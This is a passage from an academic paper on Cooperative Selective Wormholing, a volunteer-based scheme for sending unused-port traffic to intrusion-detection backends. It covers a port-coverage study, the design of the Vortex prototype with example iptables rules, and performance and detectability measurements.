large distributed portions of the Internet, something they are currently
incapable of. Based on a study of several hundred hosts in a university
network, we posit that there is sufficient heterogeneity in hosts’ network
service configurations to achieve a high degree of network coverage by
re-using unused port space on client machines. We demonstrate Vortex, a
proof-of-concept CSW implementation that runs on a wide range of com-
modity PCs (Unix and Windows). Our experiments show that Vortex
can selectively aggregate traffic to a virtual machine backend, effectively
allowing two machines to share the same IP address transparently. We
close with a discussion of the basic requirements for a large-scale CSW
deployment.

Keywords: wormholes, honeynets, honeypots, volunteer systems.

1 Introduction

We present Cooperative Selective Wormholing (CSW), a novel approach to pro-
viding traffic for use in network intrusion detection systems (NIDS). Our ap-
proach adopts a cooperative model [8,11,23,24] in which volunteers contribute
their hosts’ unused network ports and a portion of their bandwidth. NIDS oper-
ators selectively aggregate the traffic bound for these ports in order to effectively
monitor large distributed portions of the Internet.

Collecting and analyzing network traffic to detect new methods of attack has
long been recognized as a necessity by the security community, and numerous
systems have been developed to provide such a service. While the design and
functionality of these systems are vastly different, nearly all of them operate by
aggregating network traffic from some source. CSW is such a source, one whose
volunteer nature presents the potential for dramatically improved coverage of
the Internet.

CSW is inspired by the wormholing model of Weaver, et al. [30], in which a
dedicated, low-cost hardware frontend device is attached to a network of interest
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Fig. 1. Cooperative Selective Wormholing provides distributed traffic aggregation for
NIDS through volunteer PCs

to forward traffic for a range of IP addresses to a backend honeypot. CSW also
uses a frontend/backend distinction, but it does not require any hardware de-
ployment and allows individual machine owners to participate. CSW enables the
aggregation of traffic bound to specific unused ports, thus allowing the wormhole
to transparently coexist on a volunteer machine. Figure 1 illustrates CSW at a
high level.

Network telescopes are the currently preferred method of traffic aggregation
in the security community [17]. By providing access to portions of the routed IP
address spaces on which little or no legitimate traffic exists, network telescopes
make possible the monitoring of unexpected network events such as network
scanning or some forms of flooding DoS attacks. Perhaps the main drawback
of the telescope approach is that it inherently restricts access to network traffic
to well-connected or well-funded individuals or groups capable of convincing an
organization to redirect its traffic to a remote location.

While it has been shown that accommodations for network telescopes can be
made, the model creates barriers for unaffiliated and unconnected investigators.
In contrast, CSW makes it possible for any researcher to deploy a large scale
distributed traffic aggregation infrastructure, solely by finding individual volun-
teers. It has clearly been shown that it is possible to convince individuals to
volunteer resources for a research effort, often on a massive scale [8,11,23,24].
CSW is similar to such efforts, except that individuals volunteer unused ports
and bandwidth.

CSW wormholes capture traffic destined for unused ports on the volunteer’s
machine and tunnel it to generic backend NIDS that are stood up by researchers
and others. The sender of the traffic is ideally completely unaware that he is
in fact interacting with a backend instead of with the volunteer’s machine. Fur-
thermore, the wormhole only runs on unused ports, none of the volunteer’s own
traffic is disclosed to the backend, alleviating privacy concerns.
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As a first step to realizing the CSW vision, we have developed Vortex, a proto-
type tool that enables volunteers to instantiate cooperative selective wormholes
on their machines. Vortex was developed based on our experience with network
virtualization and high performance grid computing. It is implemented using
VTL and VNET, two toolsets we have presented previously [10,25]. Vortex runs
on both Unix and Windows environments without interfering with any local ac-
tivity. Our evaluation of Vortex helps to establish the feasibility of CSW and
acts as a corner stone to its implementation.

We now elaborate on the three central issues of CSW:

– Coverage: Does the Internet possess enough diversity in open network port
configurations to provide acceptable amounts of traffic for CSW?

– Invisibility to clients: Can CSW systems be designed in such a way as to not
inconvenience the user running them?

– Invisibility to attackers: Will attackers be able to detect the presence of a
CSW on a volunteer’s machine?

We will also present the design, implementation, and evaluation of Vortex, our
CSW proof-of-concept tool.

2 Coverage

The principal issue with any traffic aggregation technique is the degree of cov-
erage it can obtain over the network. We define coverage as the distribution of
traffic aggregators over a sample space. For instance, a network telescope gives
very fine-grained coverage over a very small area, so it can very accurately cap-
ture behavior inside a subnet, but it cannot accurately describe the Internet at
large. Until now the distribution of monitored addresses, the horizontal coverage,
was the only coverage that needed to be considered. CSW improves horizontal
coverage by allowing cheap access to more widely distributed addresses, however
CSW has its own coverage issue: can a CSW system cover a relevant sample of
network ports? We use vertical coverage to denote coverage of network ports.

2.1 Horizontal Coverage

The largest advantage of CSW systems is the possibility of gaining a large degree
of random coverage over the entire Internet address space. Telescopes inherently
sample at a very low resolution, on the order of large subnets, and are difficult
to deploy remotely, so their localized observations may not be representative of
the actual activity taking place across the entire Internet. On the other hand,
CSW systems could provide a random sample of the Internet address space, thus
ensuring more widely applicable analyses. Note that the utility of using volunteer
hosts to gain a distributed presence has already been established [21].
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Fig. 2. Signature prevalence and intersections from random sample of university hosts

2.2 Vertical Coverage

While CSW systems have the potential to provide superior resolution at the
address level, they inherently restrict port coverage. The issue of this vertical
coverage is specific to CSW, since the resolution possible is dependent on the
heterogeneity of the available ports, and their combinations, present in the Inter-
net. This heterogeneity corresponds to both the prevalence of operating systems
as well as the diversity of services active on volunteer hosts.

A CSW system would ideally be able to stand up port configurations in the
same proportion that those configurations are present in the actual Internet. If
some percentage of machines run a web server then the wormholed traffic would
ideally represent that same percentage. Thus CSW loses its appeal when too
many potential volunteer clients share the same open port configuration.

To gain an idea of the port distribution in the Internet we conducted a study
of the Northwestern University network. We scanned the first 1024 TCP ports
over 1000 machines randomly selected from the university network. We then culled
invalid devices (network switches, printers, etc) from the results, and analyzed the
remaining scans to identify the distribution of open ports. We refer to the set of
open ports on a machine as the port signature or simply the signature of that host.

We positively identified 401 of the 1000 addresses as capable of operating as
a Vortex sensor (general purpose computers running a Vortex-compatible OS)
using the OS fingerprinting functionality of nmap. An additional 253 of the 1000
hosts had no open ports, suggesting either an unknown OS, or (more likely) a
firewalled/secured OS configurations. It is reasonable to believe that many of
these additional hosts are also Vortex-compatible. Nonetheless, we focus on the
(worst case) 401 machines, from which we detected 123 distinct port signatures.

Configuration Diversity. We analyzed the number of hosts running each
signature, to determine if there were any obviously prevalent signatures. The
results are are shown in Figure 2(a), which plots the number of relevant hosts
as a function of the size of the port signature. There are three non-surprising
prevalent signatures, which we label. The most popular signature includes three
ports associated with standard Windows services commonly present on machines
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acting as Windows file servers. The second most popular signature contains a
subset of the Windows file server ports, consistent with a standard Windows
desktop machine. Finally, the third most popular signature consists of ports used
by web servers (http and https). Taken together these signatures are present on
138 (34%)of the 401 hosts we scanned. The figure also shows that there are 81
hosts (20%) with signatures that are unique to our data set, suggesting that
there is a significant degree of diversity in port signatures. The remaining 45%
of hosts exhibited a diverse range of signatures.

Configuration Separation or Non-Intersection. If a selection of signatures
all included a common subset of ports, the effectiveness of CSW in that selection
would be greatly diminished. We define any host whose port signature does not
intersect a given configuration that we want to monitor as an available host
for that configuration. To analyze the degree of separation present in various
signatures, and the availability implications, we used three approaches.

Entire Signatures. We first determined the amount of intersection among the
signatures themselves. We considered each signature in turn and determined the
number of hosts in the set that did not intersect with the selected signature.
These non-intersecting hosts would be available for a CSW of the prospective
signature. The results are shown in Figure 2(b). We can see that the signatures
with the fewest open ports are also the signatures with the highest degree of
availability. This is especially notable when considered with the previous ob-
servation that the most prevalent signatures had only a small number (2 or 3)
ports. The minimum availabilities of 2 and 3 port signatures are 50% and 20%
respectively. More importantly, as the number of open ports increases the num-
ber of available hosts does not decrease to zero. The worst availability is 7.98%
(32 hosts). The typical availability is much higher. Also, we are likely underes-
timating availability as we are not counting hosts that have no open ports.

Port Combinations. We also measured the separation of the signatures by con-
sidering subsets of the ports included in each signature. We considered each
unique signature and looked at the combinations possible when selecting a given
number of ports from the signature. Figure 3 shows the availability of combina-
torial results obtained from choosing different numbers of ports ranging from 1
to 5. When choosing a single port (Figure 3(a)), the availability is simply 100%
minus the percentage of hosts using that port. The top line represents the avail-
ability of the single port while the bottom line shows the percentage of hosts
containing that port in their signature. In the rest of graphs we retain the bottom
line showing the percentage of hosts containing the port combination in their
signature, but use a scatter plot to show the availability. Each point represents
one of the possible port subsets of the given size. The results are sorted by port
combination popularity, with the most common port combinations to the left.

While our previous results on the availability of entire signatures lets us esti-
mate an upper limit for each signature, the combinatorial analysis we describe
here is trying to isolate common port combinations present in the trace, letting
us estimate a lower limit. Figure 2(a) shows that there are three popular small
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Fig. 3. Probabilities that a given port combination is available in the set of hosts
gathered from the randomized port scan. Port combinations are calculated from the
signatures present in the scan results, and sorted by decreasing popularity.

port signatures, however combinations including those popular ports are likely
more common. For instance, if a given machine M has the port signature <80,
139, 443, 445> then it would not be included in the host count for either the
<80, 443> or <139, 445> signature, even though it would not be available for
either signature. By analyzing port combinations we can treat machine M as
belonging to both the <80, 443> and <139, 445> signatures.

Interestingly the graphs for the four higher order combinations (Figure 3(b)-
(e)) exhibit a common structure. Each contains bands of availability in roughly
the same locations, as well as a common dip in availability for combinations of
medium popularity. The other notable aspect of the graphs is that there is a
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Tag MachineClass Signature (Open Ports)

EXG Exchange Server 25, 80, 110, 135, 137, 139, 143, 443,
445, 593, 691, 993, 995

LHS Linux Hosting Service 22, 25, 80, 443, 993, 995

WIN Windows Desktop 139, 445

WFS Windows File Server 135, 137, 139, 445

LMS Linux Mail Server 22, 25, 119, 515, 635, 993

LWS Linux Web Server 22, 25, 80, 443

WDC Windows PDC 53, 88, 135, 139, 389, 445, 464, 593, 636

SMB Linux Mail + SMB 22, 25, 119, 137, 138, 139, 445, 515, 631, 993

Fig. 4. Partial list of Common Machine Configurations and their Signatures
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Fig. 5. Host availability for selective wormholing of several common signatures. Avail-
ability is measured as the percentage of hosts in the host set returned from a randomized
scan that are available for a signature.

more concentrated collection of availability bands towards the top, indicating
that there is substantial availability for a large subset of port combinations.

The upshot of this analysis is that it provides considerable confidence that even
with a restrictive definition for port signature intersection, very popular port sig-
natures are likely to be available on a substantial number of Internet hosts.

Signatures of Common Machine Configurations. We next consider the avail-
ability of port signatures found on currently common machine configurations.
Figure 4 contains a subset of the configurations and signatures we tested. We
included common operating systems (including Windows, Linux, Solaris, and
MacOS X), as well common configurations of those operating systems (such as
web servers, email server, and domain controllers). We considered the signature
for each common configuration and ran it against our host set to determine the
availability of the configuration.
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Figure 5 contains the results for the configurations we analyzed. Each machine
configuration is shown along with its corresponding availability in our host set.
The graph shows that the availability is quite good for most common configura-
tions. The worst cases are machines configured as Windows Exchange servers as
well as a Linux mail servers running Samba. This is to be expected since both
of these signatures contain standard Windows ports as well as ports commonly
found on Unix and server-class machines, effectively bridging the different ma-
chine configurations. Still, the results show that at least 20% of hosts will always
be available for any of the given machine configurations.

2.3 Coverage Feasibility

The results from the analysis of our random sample of machines connected to
the Northwestern University network show that there is a substantial amount of
heterogeneity present. While our results may be somewhat limited to our specific
environment, they indicate that the feasibility of obtaining vertical coverage in
the Internet as a whole is likely substantial. Our results suggest that CSW is
likely to be an effective method for collecting traffic from a large and statistically
meaningful sample of the Internet. We should also note that our analysis does
not take into account intermediate network devices such as NATs and firewalls. If
such devices are present then they would interfere with any active CSW located
behind them. We currently do not address these intermediate devices other than
to say that mechanisms, such as UPNP, do exist that could possibly allow traffic
to be delivered to a CSW through a NAT or firewall.

3 The Vortex Cooperative Selective Wormhole

To provide a proof-of-concept and to study other aspects of CSW, we have de-
veloped Vortex. Vortex interfaces with an overlay networking system to support
connectivity with different backends. Vortex is an outgrowth of research into us-
ing virtual machines (VMs) for high performance distributed computing, and so
is built using several tools developed in that work. While these tools provided a
general and easy avenue for implementing a CSW they are by no means required.
Vortex could, for example, be easily implemented as a firewall extension.

3.1 Design

Vortex functions by instantiating a CSW on a client machine and communicating
with a VM running as the backend system. This configuration is what would
typically be seen if Vortex was used as a traffic aggregator for a virtual honeypot
system. Vortex was implemented using our VTL and VNET toolsets [10,25].
Although we evaluate Vortex with a VM backend, the generality of VNET allows
a wide range of backend systems to be used, such as passive monitors, monitors
that perform simple connection interaction, virtual honeypots, or even physical
honeypots. The Vortex architecture is illustrated in Figure 6.
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Fig. 6. Vortex Architecture. Vortex uses VTL to capture packets before they are
dropped by the host firewall. The captured Ethernet frames are then sent to a VNET
proxy which routes the traffic to an IDS backend system.

VTL is a framework designed to allow developers to rapidly develop trans-
parent network services [10]. Primarily, it provides OS-independent methods for
packet serialization, acquisition, and manipulation as well as state models used
when working with stateful connections. VTL is built on top of Pcap [13,31] and
libnet [12], thus providing a cross platform method for interacting with network
traffic. Vortex uses VTL for both selective traffic capture as well as transmis-
sion of any outbound traffic from the VM backend. Vortex also relies on the
VTL mechanisms for packet modification to ensure that traffic is accepted by
all parties as legitimate.

VNET is an overlay network toolkit designed specifically for virtual machine-
based environments. It provides a layer 2 abstraction for the VMs, tunneling
complete Ethernet frames through an overlay whose topology and routing rules
are globally controlled [25,26]. Vortex is designed to interface with VNET to
provide connectivity to the virtual machine backend. At startup Vortex connects
to a VNET proxy machine that routes all the traffic from the wormhole to
a specific VNET-connected VM. Because VNET encapsulates entire Ethernet
frames, traffic can move seamlessly between the overlay and a physical network
interface. This allows VNET to connect to physical network devices as well as
virtual network devices exposed by a VM.

The current version of Vortex has a very simple interaction model. A Vortex
client instantiates wormholes on any number of unused ports and forwards all
traffic to wormholed ports to a single VNET proxy. The VNET overlay is then
configured to route all traffic from a given wormhole to a single VM. The VM
is configured with the same IP address and routing table as the client machine,
but has a separate MAC address. Any traffic that is generated by the backend
VM on a wormholed port is tunneled back to the client where it is injected into
the physical network. Despite the simplicity of the current interaction model,
creation of more complicated use models is entirely possible within the
VTL+VNET framework. For example, different wormholed ports on the same
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frontend could be routed to separate backend systems. Also, more stringent re-
quirements on the traffic generated by the backend system could easily be added.
The Vortex client can also perform any number of packet transformations, at
layers 2 through 4, to traffic passing both in and out of the wormhole.

We chose to use the VNET+VTL architecture over more established tun-
nelling architectures, such as GRE, due to the ease of integration, packet access
capabilities, and cross platform availability.

3.2 Wormhole Cloaking

While VTL and VNET handle the transmission of network packets from the
volunteer machine to a backend system, Vortex itself must assure seamless in-
tegration of the backend with the client and the client’s network. In order to
transparently instantiate wormholes on a volunteer machine, Vortex must fool
not only the outside world but also the local machine into handling packets as
if they were generated locally. To operate transparently, any packets that are
transmitted out of the wormhole must appear as if they were generated by the
local machine. Also, if a particular port is being wormholed the local host must
not reply to any traffic it receives on that port. Furthermore, in the case of a hon-
eypot backend, traffic must be modified so that it is accepted by the honeypot.
We now consider two key issues that must be addressed.

MAC Addresses. This issue only arises when a backend system wishes to in-
teract with traffic that has been captured, that is it wants to send responses and
receive replies. In this case any packets generated by the backend would need
to share the same MAC address as the volunteer machine. It is feasible that the
volunteer could report the MAC address of their machine and require the back-
end to configure itself to assume that address itself. However, this would require
assumptions about the aggregation technique to be made by the backend, some-
thing we try to avoid. Also it would require volunteers to divulge information
about themselves, which we also seek to avoid.

Instead of requiring the backend to handle this issue we instead have Vortex
perform MAC address translation locally on the volunteer machine. Vortex first
probes the local machine for its MAC and IP addresses, and then issues an ARP
request through VNET to the backend for the local host’s IP. The backend re-
sponds with an ARP reply containing its MAC address, which Vortex intercepts
and stores. From that point onward Vortex rewrites incoming packets with the
appropriate MAC address before forwarding them to either the backend or the
local network. To ensure ARP table consistency all ARP requests and replies
received by the local machine are captured by Vortex and sent to the backend,
similarly any ARP packets generated by the backend are inserted into the clients
local network.

Packet Suppression. The normal response of a TCP stack to a packet arriving
on a closed port is for a host to send an RST packet to the source. However,
in the case that the non-open port is being handled by Vortex, this behavior is
unacceptable. The result would be a source host receiving both a RST packet
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-A VORTEX FW -p tcp –dport 6000:6050 -j ACCEPT
-A VORTEX FW -p udp -m udp –dport 137 -j ACCEPT
-A VORTEX FW -p udp -m udp –dport 138 -j ACCEPT
-A VORTEX FW -m state –state ESTABLISHED,RELATED -j ACCEPT
-A VORTEX FW -j DROP

Fig. 7. Example firewall (IPTables) rules to enable packet suppression

as well as whatever response was generated by the backend for every packet
sent through the wormhole. The additional RST would not only likely interfere
with the TCP connection, but it would also make Vortex’s existence obvious if
the source were an attacker. For Vortex to function correctly these RST packets
must be suppressed.

To handle the TCP RST problem we use the local host firewalls included in
most current OS environments, e.g. iptables and the Windows Firewall. These
firewalls support configurations that simply drop packets destined for a port
disallowed in the firewall rules, thus ensuring that packets to a closed port never
reach the local TCP stack (this is the default behavior for the Windows Firewall).
Figure 7 includes an example configuration for iptables. The example accepts
TCP packets destined for local ports 6000-6050, udp packets for ports 137 and
138, and packets belonging to an established connection. All packets not included
in the rules are dropped and never reach the local TCP stack. Because Vortex
has no mechanism capable of blocking the local client from either receiving or
transmitting packets, Vortex requires such firewall configurations to be in place
in order to operate transparently. This requisite relationship between Vortex
and local firewalls leads us to believe that CSW might be best implemented as
a firewall extension.

4 Invisibility to Volunteers

A core requirement for Vortex is that it be able to function on a volunteer ma-
chine without any interference or impact on performance. While Section 3 dis-
cussed the mechanisms required to make Vortex traffic indistinguishable from
normal host traffic, those are merely the basic requirements for CSW systems to
function. In order for CSW systems to be effective they must also be invisible
in more subtle ways, such as in their performance impacts or interference with
applications the host machine is running. This requires that CSW systems im-
plement mechanisms for detecting user behavior and reacting accordingly. The
current experimental version of Vortex does not implement all of these mech-
anisms, but we envision incorporating them into a later version. To be truly
invisible to a volunteer, a CSW must address the following issues.

4.1 Port Collisions

The most obvious form of interference from Vortex arises from port colli-
sions. This occurs when a wormhole and a local application are simultaneously
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communicating on the same port number. This can happen when Vortex is
launched or if Vortex has been configured on a specific port, when at some later
point a local connection begins using that port. Because Vortex maintains trans-
parency to the local machine, it must be able to detect these events on its own
and close the wormhole if such an event occurs.

A client’s list of open ports is readily available via the /proc directory on
Linux and a win32 API call in Windows. Currently, Vortex employs active polling
of the corresponding mechanism to acquire a list of open ports on the local
machine and detect collisions with any active wormholes. If a collision is detected
then Vortex closes the wormhole immediately. Polling is neither efficient nor
responsive, so we plan on implementing a method for notification when the local
host requests the use of a currently wormholed port. We plan on utilizing an
NDIS driver hook for Windows environments and library interposition for Unix.

4.2 Performance Degradation

A CSW implementation must also ensure that performance does not significantly
degrade on the client machine. This is especially critical for deployments relying
on the use of volunteers, as no one will run a tool that slows their machine down
noticeably. The performance impact can either be in the form of bandwidth
usage or CPU utilization for packet processing.

To address this issue we are working on mechanisms that allow a user to
specify the amount of resources they are willing to make available. This tech-
nique has been used successfully in many peer-to-peer applications as well as
in cooperative computing initiatives. Our plans with Vortex include the imple-
mentation of a bandwidth rate limiter that is configurable by the user. This will
allow a volunteer to determine the amount of bandwidth which they are willing
to provide to Vortex. Another solution could include rulesets for when CSWs
are allowed to be instantiated, for example only after a machine has been idle
for a given amount time.

Network Overheads. We ran a series of experiments to quantify the performance
of a CSW system (Vortex) as well as the possible performance impact on the
client machine. Our experimental setup consisted of a Vortex client connected to
a virtual machine backend located on the Northwestern University network. We
ran two sets of experiments: first with the client located on a home network con-
nected to the Internet via DSL, and a second with the client on the Northwestern
network. In each case the traffic to the client was generated from machines on
the Northwestern network. For each experiment we measured the raw bandwidth
of both the client machine and the wormhole, as well as the available bandwidth
of both when the other is being flooded with network traffic. We also used the
Linux IProute2 implementation to test the impact of a bandwidth limiter.

Figures 8(a) and 8(c) illustrate the performance of a Vortex CSW. The graphs
show the bandwidth through a wormhole under various conditions. Figure 8(a)
shows the bandwidth of a Vortex CSW running on a client connected to the
same LAN as the backend system, while Figure 8(c) shows the same for a client
located on a DSL line. The Raw column shows the maximum available bandwidth
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Fig. 8. Bandwidth measurements of clients hosted on DSL and LAN connections. (a)
and (c) contain the performance results of a Vortex CSW, while (b) and (d) contain
the performance results of the client machine. Measurements were taken under various
traffic conditions and bandwidth is measured in kilobytes/second. Each figure shows
the mean taken from 10 separate trials.

to a CSW when no other host traffic is present. Vortex is implemented in user
space requiring two context switches for each packet received (One to receive
the packet from PCAP or VNET, plus one to transmit the packet with libnet or
VNET). While these context switches place a limit on the performance of the
present version of Vortex, a more intelligent in-kernel design would be capable of
performing much better. The figures also show the performance impact on the
CSW when the client host is being flooded with traffic to a local service. In both
cases Vortex is not starved of bandwidth and continues to function. Finally, for
the DSL client we configured the kernel to limit the bandwidth from the client
to the VNET proxy, which we will discuss later.

Figures 8(b) and 8(d) show the performance of the volunteer machine running
a Vortex CSW. We performed the same experiments as described earlier. First we
measured the Raw bandwidth of each client machine with Vortex not running and
no other traffic present. We then performed the same test but with a Vortex CSW
configured and being flooded with traffic. Both hosts show a drop of performance
when Vortex is being used heavily, but our implementation is able to cushion the
performance drop to roughly 15% due to its architecture. However, as we stated
above, the performance of a CSW can be improved, and any improvement will
adversely effect the performance of a host. There is clearly a tradeoff that the
volunteer needs to make.

To demonstrate that constraints can be placed on a CSW system to prevent
it from causing too large a drop in host performance, we ran the tests again
with an external bandwidth limiter. For this experiment, we only measured the
performance of the DSL host. In order to constrain Vortex we configured a
network queue, using IPRoute2 in the Linux kernel, to limit any traffic to the
VNET proxy to 10kB/s. We then measured the performance of both the Vortex
CSW as well as the client machine. The results are included in the third column of
figures 8(c) and 8(d). Figure 8(c) shows that the bandwidth of the CSW is indeed
constrained to 10KB/s, while figure 8(d) shows that the performance degradation



330 J.R. Lange, P.A. Dinda, and F.E. Bustamante

on the host is limited to only 10KB/s. By incorporating a user configurable
limiter with a CSW implementation, volunteers will be able to decide the amount
of bandwidth they are willing to donate and be assured that the wormhole won’t
monopolize their host or network.

4.3 Privacy Risks

Dealing with privacy in distributed network monitors has been recognized as a
key concern for any system to be deployed [4,15]. To protect volunteers as well
as to minimize the liability of wormhole operators, selective wormholes must be
very careful about what traffic they allow to be aggregated. The most serious
privacy issue that a CSW must deal with is ensuring that no private local traffic
is mistakenly aggregated, but other smaller issues exist as well. For a CSW
architecture to be successful it must alleviate any concerns that the volunteers
might have.

There is no perfect way to address the problem of mistakenly aggregating
private traffic. Ultimately the issue is tied to the behavior of the user and the
other members of the users network. For instance, if a volunteer provides a Linux
client on a corporate LAN, Vortex could be instructed to instantiate wormholes
associated with windows file sharing services. If for some reason another user on
the LAN decides to start trying to communicate with those ports, then traffic is
being aggregated that might possibly be very sensitive in nature. In other words,
a CSW system like Vortex can do nothing to prevent users from purposefully
but mistakenly transmitting sensitive information through a wormhole. Vortex’s
method of preventing this is to allow a user to blacklist ports that they don’t
want Vortex to use, however this requires action by the user and does not prevent
mistakes from being made.

The other privacy issue is the aggregation of sensitive information outside
of aggregated network traffic. Vortex is specifically designed to require as little
information from the user as possible. Currently the only information available
to the Vortex backend system is the IP address of the machine as well as a list of
in use network ports. If the user wishes, they are able to locally configure Vortex
to only use a defined set of ports in case that they don’t wish to disclose the
port signature of their machine. Depending on the type of backend system in use,
further steps can be taken to increase anonymity. For instance, non-interactive
backend systems might not need to know the actual IP address of the volunteer
machine, in which case Vortex could anonymize the IP and MAC addresses.
Previous work has demonstrated anonymization of network data [16,32], and
such techniques could easily be implemented in Vortex.

4.4 Security Exposure

Besides avoiding the exposure of private information, CSW systems must not
create additional security vulnerabilities on the client machine or their network.
The security issues themselves are shared with and have been explored in the
context of other aggregation techniques, but the location of the aggregation
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nodes brings new aspects to the problem. There are two main new aspects to
the security problem: exploitability of the wormhole implementation, and risks
to the local resources resulting from a compromised backend system. Vortex
currently minimizes the former, while leaving the latter as a policy decision for
wormhole operators.

The current version of Vortex does minimal processing besides simply encap-
sulating Ethernet frames and tunneling them to a backend. The only processing
performed by Vortex is on the Ethernet level headers themselves, which must
first pass through network equipment and a pcap filter that only accepts packets
with a valid format. However this might change if Vortex is implemented with ad-
ditional packet processing capabilities such as anonymization, so such changes
must be implemented with great care. Furthermore the packets captured by
Vortex are never delivered to the local host, they are simply encapsulated and
tunneled through Vortex.

The issue of transmitting traffic from the backend onto the volunteer’s local
network poses a complicated problem. While this issue is common to honeynets
and other traffic aggregators, the fact that the potentially harmful traffic is being
inserted onto a volunteer’s network leads to a much more sensitive situation.
Ultimately this is a policy decision that must be made by the wormhole operators
themselves. Even though the current version of Vortex blindly writes all traffic
from wormholed ports to the network, the capability to block all or some of
the traffic is available through the VTL and VNET frameworks. VNET can
be configured to only forward traffic from the wormhole but not to it, and VTL
provides packet inspection mechanisms which would allow Vortex to make packet
injection decisions based on rulesets run against the packet contents. Other CSW
implementations could inject traffic at remote locations seperate from the client’s
network presence. This would allow full communication between the backend and
attacker while not requiring the client to inject any traffic onto it’s local network.

5 Invisibility to Attackers

To further evaluate the utility of CSW we investigated the degree to which the
wormholes were detectable by an attacker. This section assumes that the CSW
wormhole is connected to a honeypot or some other system that emulates an
actual service. These systems depend on an attacker believing that their target
is actually a legitimate machine, so it is important to understand whether CSW
systems provide enough information to tip off an attacker. Furthermore, if an
attacker discovers a wormhole then they can simply avoid it, or try to disrupt
it [1,3].

The methods an attacker can use to detect the presence of wormholed port
fall into two categories: First, because wormhole traffic is tunneled to a remote
location, the packet latencies will be larger for wormhole traffic as opposed to
traffic handled by the local machine. Second, because a honeypot will be config-
ured differently from a client machine, often with a different OS, packet formats
and network behavior will differ between the wormhole and local services. It is
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beyond the scope of this work to explore the possibility of transforming traffic
formats to mimic different hosts, so we only focus on the issue of latency.

For CSWs to be hidden from an attacker, the added latency of the wormhole
must fall within the variance of the latency for a local service. This means that
the degree to which wormhole latency is masked depends on the connection
quality and location of the wormhole host, the backend, and the attacker. Our
experiments attempted to capture the different environments under which all
three components might operate.

We conducted the experiments by installing Vortex wormholes at various net-
work locations and connecting them to our VM backend located on the North-
western University network. We then ran latency measurements from PlanetLab
nodes located across North America. We measured latency by using tcpdump to
time the durations of SYN/SYN-ACK sequences resulting from TCP connection
setup requests. We chose to measure the SYN/SYN-ACK sequence because it
is handled in kernel and so is independent of application behavior. The Vortex
sensors were located on a home network with a DSL Internet connection, a home
network with a cable Internet connection, and a Northwestern local area net-
work. For each test we measured the SYN/SYN-ACK latency for a local service
and a wormhole service.

The results are given in Figure 9. Each graph is for different client network
(DSL, Cable, LAN). In a graph, paired bars compare the local service latency
(left bar) with the wormhole latency (right bar). Bar pairs are given for each of
the “attacker” PlanetLab sites. It is important to note that each bar represents
an average, and standard deviation whiskers are also shown.

As expected the location of the various parties plays a large role in determin-
ing the average and standard deviation of the latency of a connection. Neither
the DSL nor the cable networks exhibited enough latency variance to effectively
mask the presence of a wormhole. Only the wormhole located on the LAN was
able to disguise the presence of a wormhole. While somewhat discouraging, the
tests do show that the latency is dependent only on the added latency between
the wormhole client and the backend system, meaning that the wormhole im-
plementation added minimal latency from packet processing. This suggests that
intelligent and dynamic distribution of a backend system over a hosting service
such as PlanetLab could help disguise the presence of a wormhole. That is, were
the backend itself running on PlanetLab, it could move closer to the client. Fur-
thermore, if the backend were a virtual machine, implementing such movement
could be readily accomplished [22].

6 Related Work

Many different communities have sought to harness the unused resources of vol-
unteer machines to perform large calculations or large scale measurements. The
most well known of these projects uses donated CPU time to perform extremely
large calculations. Projects such as SETI@home [24] and Folding@home [11] have
demonstrated considerable success with such an approach, harnessing hundreds
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Fig. 9. Differences in latency between a local service and a CSW. Measurements were
made by timing the Syn/SynACK sequence caused by the establishment of a TCP
connection. Measurements were taken from various PlanetLab sites distributed across
North America. For each site the latency of a local service is shown on the left side
while the CSW latency is on the right.

of thousands of machines. The Internet measurement community has recently
explored such a model, following the realization that widely distributed sensors
were necessary to gain a relevant view of the network [8,23]. Measurement and
computational clients can all be characterized as active, in that they compute
or measure something and report the results. CSW clients, however, are pas-
sive, since they simply tunnel anything they receive back to a backend. While
this difference might seem minor, it has serious implications for client privacy
and security. Recent work in IDS systems has begun to move towards distrib-
uted monitoring as well [2,5,6,19,28], but these systems have yet to demonstrate
a technique as readily deployable as a measurement system or computational
engine.

To date traffic aggregation techniques have confined themselves to so called
dark address spaces [14,18,27,33,34]. The idea is to aggregate traffic destined for
unused IP addresses and reroute it into a given backend. This usually requires
the reconfiguration of network equipment controlling large network domains.
While this method of traffic aggregation, commonly referred to as a network tele-
scope, is effective in collecting large amounts of candidate traffic, it has several
drawbacks. First, it requires large segments of empty address space. This ad-
dress space usually can only be found in large organizations such as universities.
Accessing this address space requires the cooperation of network administra-
tors for the entire period of aggregation. Furthermore, telescopes are inherently
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restrictive in the distribution of the aggregated address space. While substan-
tial amounts of traffic can be aggregated from entire dark subnets, such traffic
is usually only resulting from automated attacks such as worms or large port
scans.

The concept of using wormholes to distributed the network presence of a
centralized NIDS backend system was first proposed by Weaver, Paxson, and
Staniford [30]. The overall concept is very similar in their work and ours, in that
both use distributed wormholes to aggregate traffic into a centralized backend
system. However, while their system provides a wormhole for all traffic to a
given IP address, we propose to selectively wormhole a subset of traffic based
on the network port the traffic arrives at. Additionally, while Weaver, et al
propose a hardware solution that requires colocation, the architecture of CSW
relies on volunteers donating unused resources of any commodity PC, creating
no deployment costs for an operator.

Much work has previously been done in the implementation of actual IDS
backend systems, including [7,9,20,29,34]. Our work is aimed at providing traffic
aggregation for these systems. Even though most of these systems include their
own mechanisms for traffic aggregation we do not propose to replace them, in
fact we believe that CSW is a technique that can be used to augment the already
present aggregation facilities these systems have in place.

7 Conclusion

In this paper we introduced the concept of Cooperative Selective Wormholing
(CSW), a new technique of traffic aggregation for intrusion detection systems.
We demonstrated that there is room in the present Internet for CSW systems
to achieve adequate address and port coverage, and examined the advantages
and disadvantages of CSW compared to present traffic aggregration techniques.
We presented a proof-of-concept CSW system, Vortex, and evaluated its perfor-
mance, including its visibility to volunteers and attackers.

In the future we plan on expanding Vortex to provide a deployable selective
wormhole architecture for use by security researchers. We are also looking for
opportunities to integrate Vortex into existing honeynet architectures or other
IDS analysis systems.
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